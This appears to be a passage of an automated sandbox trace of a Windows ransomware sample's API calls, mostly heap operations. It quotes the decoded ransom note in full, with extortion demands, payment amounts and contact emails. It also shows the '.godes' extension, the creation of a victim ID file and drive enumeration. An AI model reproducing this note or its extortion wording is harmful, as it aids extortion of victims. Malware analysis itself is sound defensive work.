(HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30bfbf8 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30bfe60 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c00c8 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c0330 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c0598 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c0800 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c0a68 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c0cd0 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c0f38 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x816) returned 0x3094c90 [0048.621] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x3094c90, cchWideChar=1035 | out: lpWideCharStr="_readme.txt") returned 12 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x30d5240 [0048.621] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3094c90 | out: hHeap=0x6d0000) returned 1 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x28) returned 0x30beb00 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c11a0 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c1408 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c1670 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c18d8 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c1b40 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c1da8 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c2010 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c2278 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c24e0 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c2748 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xa0) returned 0x3043af0 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x130) returned 0x3083d80 [0048.622] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3043af0 | out: hHeap=0x6d0000) returned 1 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x1d0) returned 0x30985a8 [0048.622] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3083d80 | out: hHeap=0x6d0000) returned 1 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x2b7) returned 0x30d5a68 [0048.622] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30985a8 | out: hHeap=0x6d0000) returned 1 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x412) returned 0x30d15b0 [0048.622] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d5a68 | out: hHeap=0x6d0000) returned 1 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x61a) returned 0x3094c90 [0048.622] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d15b0 | out: hHeap=0x6d0000) returned 1 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x470) returned 0x30d5a68 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x10da) returned 0x30cffe0 [0048.622] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30d5a68, cbMultiByte=-1, lpWideCharStr=0x30cffe0, cchWideChar=2157 | out: lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned 1134 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x10e0) returned 0x30d9f70 [0048.622] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30cffe0 | out: hHeap=0x6d0000) returned 1 [0048.622] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d5a68 | out: hHeap=0x6d0000) returned 1 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x28) returned 0x30beb30 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c29b0 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30c2c18 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30db070 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30db2d8 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30db540 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30db7a8 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30dba10 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30dbc78 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30dbee0 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30dc148 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x80c) returned 0x30cffe0 [0048.622] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x30cffe0, cchWideChar=1030 | out: lpWideCharStr=".godes") returned 7 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x810) returned 0x30d07f8 [0048.622] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30cffe0 | out: hHeap=0x6d0000) returned 1 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x20) returned 0x30d61c8 [0048.622] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x30) returned 0x3080780 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30707e0 | out: hHeap=0x6d0000) returned 1 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x50) returned 0x30c2ff0 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x48) returned 0x30b9d00 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3080780 | out: hHeap=0x6d0000) returned 1 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x60) returned 0x2fd5038 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x60) returned 0x2fd50a0 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30b9d00 | out: hHeap=0x6d0000) returned 1 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x3094168 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x90) returned 0x2fb46e0 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x2fd50a0 | out: hHeap=0x6d0000) returned 1 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x50) returned 0x30c3048 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x50) returned 0x30c30a0 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xd8) returned 0x30112a0 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x2fb46e0 | out: hHeap=0x6d0000) returned 1 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x30941b0 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x20) returned 0x30d6010 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x50) returned 0x30c30f8 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x138) returned 0x3083d80 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30112a0 | out: hHeap=0x6d0000) returned 1 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x60) returned 0x2fd50a0 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x30941f8 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x50) returned 0x30c3150 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x50) returned 0x30c31a8 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x1c8) returned 0x30d8160 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3083d80 | out: hHeap=0x6d0000) returned 1 [0048.623] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x3094240 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d3e58 | out: hHeap=0x6d0000) returned 1 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d61c8 | out: hHeap=0x6d0000) returned 1 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30c2ff0 | out: hHeap=0x6d0000) returned 1 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x2fd5038 | out: hHeap=0x6d0000) returned 1 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3094168 | out: hHeap=0x6d0000) returned 1 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30c3048 | out: hHeap=0x6d0000) returned 1 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30c30a0 | out: hHeap=0x6d0000) returned 1 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30941b0 | out: hHeap=0x6d0000) returned 1 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6010 | out: hHeap=0x6d0000) returned 1 [0048.623] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30c30f8 | out: hHeap=0x6d0000) returned 1 [0048.624] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x2fd50a0 | out: hHeap=0x6d0000) returned 1 [0048.624] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30941f8 | out: hHeap=0x6d0000) returned 1 [0048.624] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30c3150 | out: hHeap=0x6d0000) returned 1 [0048.624] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30c31a8 | out: hHeap=0x6d0000) returned 1 [0048.624] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3094240 | out: hHeap=0x6d0000) returned 1 [0048.624] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d8160 | out: hHeap=0x6d0000) returned 1 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x28) returned 0x30beb60 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30dc3b0 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30dc618 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30dc880 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30dcae8 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30dcd50 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30dcfb8 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30dd220 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30dd488 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30dd6f0 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30dd958 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xa0) returned 0x3043af0 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x130) returned 0x3083d80 [0048.624] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3043af0 | out: hHeap=0x6d0000) returned 1 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x1d0) returned 0x30985a8 [0048.624] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3083d80 | out: hHeap=0x6d0000) returned 1 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x2b7) returned 0x30d5a68 [0048.624] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30985a8 | out: hHeap=0x6d0000) returned 1 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x412) returned 0x30d15b0 [0048.624] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d5a68 | out: hHeap=0x6d0000) returned 1 [0048.624] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x61a) returned 0x30cffe0 [0048.624] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d15b0 | out: hHeap=0x6d0000) returned 1 [0048.624] GetUserNameW (in: lpBuffer=0x18c418, pcbBuffer=0x18c184 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18c184) returned 1 [0048.625] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x590) returned 0x30d15b0 [0048.625] GetLastError () returned 0x0 [0048.626] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18be78, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.627] GetLastError () returned 0x3 [0048.627] GetLastError () returned 0x3 [0048.627] CreateDirectoryW (lpPathName="C:\\SystemID" (normalized: "c:\\systemid"), lpSecurityAttributes=0x0) returned 1 [0048.627] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d0 [0048.627] GetFileType (hFile=0x5d0) returned 0x1 [0048.627] GetLastError () returned 0x0 [0048.629] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0048.630] RegisterClassExW (param_1=0x18c0f0) returned 0xc143 [0048.630] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x401be [0048.630] NtdllDefWindowProc_W () returned 0x0 [0048.630] NtdllDefWindowProc_W () returned 0x1 [0048.632] NtdllDefWindowProc_W () returned 0x0 [0048.736] NtdllDefWindowProc_W () returned 0x0 [0048.737] ShowWindow (hWnd=0x401be, nCmdShow=0) returned 0 [0048.737] UpdateWindow (hWnd=0x401be) returned 1 [0048.737] GetLogicalDrives () returned 0x4 [0048.737] SetErrorMode (uMode=0x1) returned 0x0 [0048.737] PathFileExistsA (pszPath="C:\\") returned 1 [0048.737] SetErrorMode (uMode=0x0) returned 0x1 [0048.737] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0048.737] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x806) returned 0x30e4190 [0048.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c0a8, cbMultiByte=-1, lpWideCharStr=0x30e4190, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0048.737] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x810) returned 0x30e49a0 [0048.737] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e4190 | out: hHeap=0x6d0000) returned 1 [0048.737] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x18) returned 0x30707a0 [0048.737] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e49a0 | out: hHeap=0x6d0000) returned 1 [0048.737] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30707a0 | out: hHeap=0x6d0000) returned 1 [0048.737] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x18) returned 0x30707a0 [0048.737] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x10) returned 0x308c4b0 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x110) returned 0x30a3f28 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x810) returned 0x30e4190 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x3105650 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x10e0) returned 0x30df878 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x60) returned 0x2fd5038 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x810) returned 0x30e49a8 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x660) returned 0x30d15b0 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x3105ed8 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x3106760 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x3106fe8 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x3107870 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x31080f8 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x840) returned 0x30e0960 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x3108980 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x3109208 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x840) returned 0x30e11a8 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x860) returned 0x3110870 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x860) returned 0x31110d8 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x3109a90 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x310a318 [0048.738] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x840) returned 0x3111940 [0048.739] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x840) returned 0x3112188 [0048.739] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x310aba0 [0048.739] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x310b428 [0048.739] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x310bcb0 [0048.739] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x310c538 [0048.739] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x310cdc0 [0048.739] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x31129e8 [0048.739] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x3113270 [0048.739] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x3113af8 [0048.739] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x3114380 [0048.739] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x3114c08 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x860) returned 0x31229d0 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x860) returned 0x3123238 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x3115490 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x3115d18 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x31165a0 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x840) returned 0x3123aa0 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x840) returned 0x31242e8 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x3116e28 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x31176b0 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x3117f38 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x31187c0 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x3119048 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x31198d0 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x311a158 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x311a9e0 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x311b268 [0048.740] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x860) returned 0x3124b30 [0048.741] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x860) returned 0x3125398 [0048.741] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x311baf0 [0048.741] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x311c378 [0048.741] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x311cc00 [0048.741] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x840) returned 0x3125c00 [0048.741] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x840) returned 0x311d488 [0048.741] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x311dd10 [0048.741] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x311e598 [0048.741] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x311ee20 [0048.741] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x311f6a8 [0048.741] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x311ff30 [0048.741] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x31207b8 [0048.741] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x3121040 [0048.741] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x31218c8 [0048.741] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x3126460 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x860) returned 0x3136448 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x860) returned 0x3136cb0 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x3126ce8 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x3127570 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x3127df8 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x840) returned 0x3128680 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x3128f08 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x3129790 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x312a018 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x312a8a0 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x312b128 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xc0) returned 0x3099ad0 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x312b9b0 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x810) returned 0x30e51c0 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x810) returned 0x3137518 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x810) returned 0x312c238 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x810) returned 0x312cac0 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x810) returned 0x312d348 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x810) returned 0x312dbd0 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x810) returned 0x312e458 [0048.742] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x60) returned 0x2fd5108 [0048.743] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x312ece0 [0048.743] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x312f568 [0048.743] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x312fdf0 [0048.743] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x820) returned 0x3130678 [0048.743] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x120) returned 0x3083d80 [0048.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4156a0, lpParameter=0x30a3f30, dwCreationFlags=0x0, lpThreadId=0x308c4b8 | out: lpThreadId=0x308c4b8*=0xafc) returned 